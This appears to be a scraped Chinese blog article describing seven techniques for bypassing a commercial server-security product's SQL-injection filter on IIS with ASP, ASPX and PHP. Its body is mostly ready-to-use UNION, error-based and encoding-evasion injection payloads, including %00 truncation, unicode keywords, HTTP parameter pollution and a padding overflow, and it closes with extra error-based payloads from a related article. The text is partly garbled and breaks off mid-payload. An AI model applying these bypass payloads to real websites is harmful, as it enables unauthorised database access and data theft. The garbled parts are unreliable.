1、Bypass神SQL注入防御（多姿勢(shì)）作者：Bypass原文鏈接：/s? biz=MzA3NzE2MjgwMg=&mid=2448903734&idx=1&sn=93c15da3255fb37ddaba7d2e4910f032&chksm=8b55de6bbc22577d984030af27fa8fba9b0eb9f15a6e65ee11e70b2a8d1a1baf406009e2050b&scene=21#wechat_redirect 收集整理：/test/index.php本文由 干貨0x00 前 言神一直

2、專注服務(wù)器安全領(lǐng)域， 其中有一款產(chǎn)品，神入侵防護(hù)系統(tǒng) ，提供了一些網(wǎng)站安全防護(hù)的功能，在IIS加固模塊中有一個(gè)SQL防注入功能。這邊主要分享一下幾種思路，Bypass0x01 環(huán)境搭建神SQL注入防御。 神官網(wǎng)： 軟件版本：神入侵防護(hù)系統(tǒng) V3.8.1 最新版本下載地址：/hws.zip測(cè)試環(huán)境：IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL10x02 WAF測(cè)試神SQL防注入的規(guī)則幾年了基本都沒有什么變化，先來一張攔截測(cè)試圖： 2姿勢(shì)一：%00截?cái)?00截?cái)嗍巧蟼髀┒粗谐Ｓ玫囊粋€(gè)非

3、常經(jīng)典的姿勢(shì)，在SQL注入中，也可以用來Bypass。 在WAF層，接收參數(shù)id后，遇到%00截?cái)?，只獲取到 id=1，無法獲取到后面的有害參數(shù)輸入； 在ASPX+MSSQL中，支持%00來代替空白字符，構(gòu)造的SQL語句得以成功執(zhí)行，獲取數(shù)據(jù)。 32/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns在PHP+Mysql中，可以用 /*%00*/ ，同樣可以進(jìn)行Bypass。 32/sql.php?id

4、=1/*%00*/union select 1,schema_name,3 from information_schema.schemata姿勢(shì)二： GET+POST當(dāng)同時(shí)提交GET、POST請(qǐng)求時(shí)，進(jìn)入POST邏輯，而忽略了GET請(qǐng)求的有害參數(shù)輸入,可輕易Bypass。 在IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL 均適用。 3姿勢(shì)三： unicode編碼IIS服務(wù)器支持對(duì)于unicode的解析，對(duì)關(guān)鍵詞進(jìn)行unicode編碼繞過。 32/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,col

5、umn_name from information_schema.columns姿勢(shì)四： ASPX+HPP在ASPX中，有一個(gè)比較特殊的HPP特性，當(dāng)GET/POST/COOKIE同時(shí)提交的參數(shù)id，服務(wù)端接收參數(shù)id的順序GET,POST,COOKIE，中間通過逗號(hào)鏈接 。 432/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns POST：aaaUNION、SELECT、兩個(gè)關(guān)鍵字拆分放在GET/POST的位置，通過ASPX的這個(gè)特性連起

6、來，姿勢(shì)利用有點(diǎn)局限，分享一下Bypass思路。 32/sql.aspx?id=1 and 1=2 union/*POST：id=*/select 1,column_name,3 from information_schema.columns姿勢(shì)五： ASP %特性在IIS+ASP中，當(dāng)我們輸入un%ion，解析的時(shí)候會(huì)去掉%號(hào)，服務(wù)端接收的參數(shù)是union。 32/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.co

7、lumns姿勢(shì)六：緩沖區(qū)溢出在PHP+Mysql中，使用POST 大包溢出的思路可成功Bypass。 編寫一個(gè)簡單的Python腳本，當(dāng)A的個(gè)數(shù)填充到49099時(shí)，可成功Bypass。 532/sql.phpPOST:id=1 and (select 1)=(Select 0xA*49099) union select 1,schema_name,3 from information_schema.SCHEMATA姿勢(shì)七：黑繞過護(hù)士神SQL防注入，采用的是黑過濾，關(guān)鍵字并不全，比如只過濾union select，select from卻放過了，那么這里就存

8、在很多種繞過的形式。 基本上報(bào)錯(cuò)注入、盲注、延遲注入都可以很輕易Bypass，這時(shí)候直接利用SQLMAP，指定注入方式來獲取數(shù)據(jù)。 60x03 END總結(jié)了幾種IIS下SQL注入 Bypass的思路，在實(shí)戰(zhàn)中也很常見。歡迎分享本文，轉(zhuǎn)載請(qǐng)保留出處。 聽說公眾號(hào)贊賞功能升級(jí)了，我也來試試。 喜歡這篇文章的人也喜歡 Bypass 360主機(jī)衛(wèi)士SQL注入防御（多姿勢(shì)）7?id=1 or (select 1 from (select count(),concat(concat(0x5e5e21,version,0x215e5e),floor(rand(0)2)x from information_schema.tables group by x)a)?id=1 and 1=(updatexml(1,concat(0x3a,(select user(),1)?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from informatio